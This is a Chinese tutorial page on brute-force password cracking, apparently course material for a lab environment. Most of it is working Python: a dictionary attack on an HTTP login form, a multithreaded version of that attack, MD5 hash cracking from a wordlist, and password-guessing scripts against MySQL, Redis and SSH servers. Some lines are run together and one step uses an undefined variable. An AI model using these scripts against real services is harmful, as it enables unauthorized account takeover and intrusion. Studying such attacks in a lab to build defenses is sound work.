当前位置: 首页 > news >正文

暴力破解案例

暴力破解

1 概述

暴力破解,是一种针对密码的破译方法,将密码进行逐个推算直到找出真正的密码为止。

2 爆破HTTP协议

第一步:实验性发送请求成功
import requests
url = "http://192.172.0.100:8080/woniusales/user/login"data = {"username":"admin","password":"123456","verifycode":"0000"}result = requests.post(url=url,data=data)if result.text != "login-fail":print(f"疑是破解成功,密码是:{password}")
第二步:已知用户名,未知密码破解
import requestsdef pojie_http(password):url = "http://192.172.0.100:8080/woniusales/user/login"data = {"username":admin,"password":password,"verifycode":"0000"}result = requests.post(url=url,data=data)if result.text != "login-fail":print(f"疑是破解成功,密码是:{password}")exit()
with open(file="password.txt") as f:passwordlist = f.readlines()
for passwd in passwordlist:passwd = passwd.strip()pojie_http(passwd)
第三步:未知用户名密码破解import requestsdef pojie_http(username,password):url = "http://192.172.0.100:8080/woniusales/user/login"data = {"username":username,"password":password,"verifycode":"0000"}result = requests.post(url=url,data=data)if result.text != "login-fail":print(f"疑是破解成功,密码是:{password}")exit()with open(file="password.txt") as f:passwordlist = f.readlines()with open(file="username.txt") as f:usernamelist = f.readlines()for user in usernamelist:user = user.strip()for passwd in passwordlist:passwd = passwd.strip()pojie_http(user,passwd)

注意:

1.暴力破解不是100%能破解成功,取决于你是否有强大的字典

2.并不是所有的http协议可以暴力破解

​ 2.1 简单的验证码

​ 2.2 没有错误次数的验证

​ 2.3 明文显示,未经过加密

3 多线程破解

一个用户作为一个线程爆破
for user in usernamelist:obj = threading.Thread(target=pojie_http,args=(user,))obj.start()
# 1.受到本机的性能影响,最大1300线程
# 2.受到服务器性能影响,最大吞吐量

4 多线程分配任务破解

import threadingimport requestsdef pojie_http(startindex,endindex):url = "http://192.172.0.100:8080/woniusales/user/login"for user in usernamelist[startindex:endindex]:user = user.strip()for passwd in passwordlist:passwd = passwd.strip()data = {"username":user,"password":passwd,"verifycode":"0000"}result = requests.post(url=url,data=data)if result.text != "login-fail":print(f"疑是破解成功,用户名是{user},密码是:{passwd}")exit()if __name__ == '__main__':with open(file="username.txt") as f:usernamelist = f.readlines()with open(file="password.txt") as f:passwordlist = f.readlines()# 分任务爆破,启动100个线程,每个线程跑20个用户,每个用户跑所有的密码,根据服务器动态调整线程个数for index in range(100):start = 20 * indexend =  20 * (index + 1)obj = threading.Thread(target=pojie_http,args=(start,end))  # 0-10  10-20 20-30 30-40 ...190-200obj.start()

5 MD5爆破

MD5无法逆推解密,只能通过穷举法反向查询import hashlibdef pojie_md5(source,target):h_md5 = hashlib.md5(source.encode()).hexdigest()print(h_md5)if h_md5 == target:print(f"怀疑是破解成功:{source}")exit()if __name__ == '__main__':target = "e10adc3949ba59abbe56e057f20f883e"with open(file="password.txt") as f:data_list = f.readlines()for i in data_list:i = i.strip()pojie_md5(source=i,target=target)

6 MySQL爆破

import pymysqldef pojie_mysql(passwd):try:conn = pymysql.connect(user="root",password=passwd,port=3306,host="192.172.0.100")except:pass# 连接成功什么都没有  连接失败报错else:print(f"疑是破解成功:{passwd}")exit()if __name__ == '__main__':with open(file="password.txt") as f:data_list = f.readlines()for passwd in data_list:pojie_mysql(passwd.strip())

7 Redis爆破

import redis
def pojie_redis(passwd):try:redis_obj = redis.Redis(host="192.172.0.101",password=passwd,db=0)redis_obj.ping()except:passelse:print(f"密码是{passwd}")exit()
if __name__ == '__main__':with open(file="password.txt") as f:data_list = f.readlines()for passwd in data_list:pojie_redis(passwd.strip())

8 SSH爆破

import paramiko
from paramiko.client import AutoAddPolicy
def pojie_ssh(passwd):try:ssh = paramiko.SSHClient()ssh.set_missing_host_key_policy(AutoAddPolicy)ssh.connect(hostname="192.172.0.100",username="root",password=passwd)except:passelse:print(f"密码是{passwd}")exit()if __name__ == '__main__':with open(file="password.txt") as f:data_list = f.readlines()for passwd in data_list:pojie_ssh(passwd.strip())

9 爆破工具

https://blog.csdn.net/m0_59598029/article/details/133217000

https://blog.51cto.com/u_16213303/10539031

https://www.zhihu.com/tardis/bd/art/558677293?source_id=1001

image-20241010112539712


http://www.mrgr.cn/news/50046.html

相关文章:

  • c++-类与对象-对象特性-深拷贝和浅拷贝
  • Arthas 介绍,阿里开源线上JVM性能监控工具
  • LeetCode岛屿数量
  • 代码生成器技术乱弹五十六,超级语言和高级语言的根本区别
  • 【Spring相关技术】spring进阶-自定义请求报文转对象HttpMessageConverter
  • 深拷贝和浅拷贝
  • 金蝶K3-WISE和管易云单据接口对接
  • 荷兰Avantes光谱仪光老练日晒/紫外老化测量
  • 你不会不知道Mac的优缺点吧,详细的Mac优缺点全解析
  • 双足机器人远程操作与动态运动同步研究
  • Linux中安装 mongodb ,很详细
  • Android ViewModel
  • 全金属的两足机器人钢铁侠开发
  • 闯关leetcode——100. Same Tree
  • 2024 年主流 10 大 CRM 系统盘点
  • 33条必看问题!腾讯云认证考试须知!
  • Jmeter 获取用户数据-全部登录
  • 电脑上怎么录制高清流畅视频?录制游戏的时候很卡怎么办?
  • 从“制造”到“智造”:中图光学测量仪器的进阶与应用
  • postgresql进行几何抽稀(DP抽稀)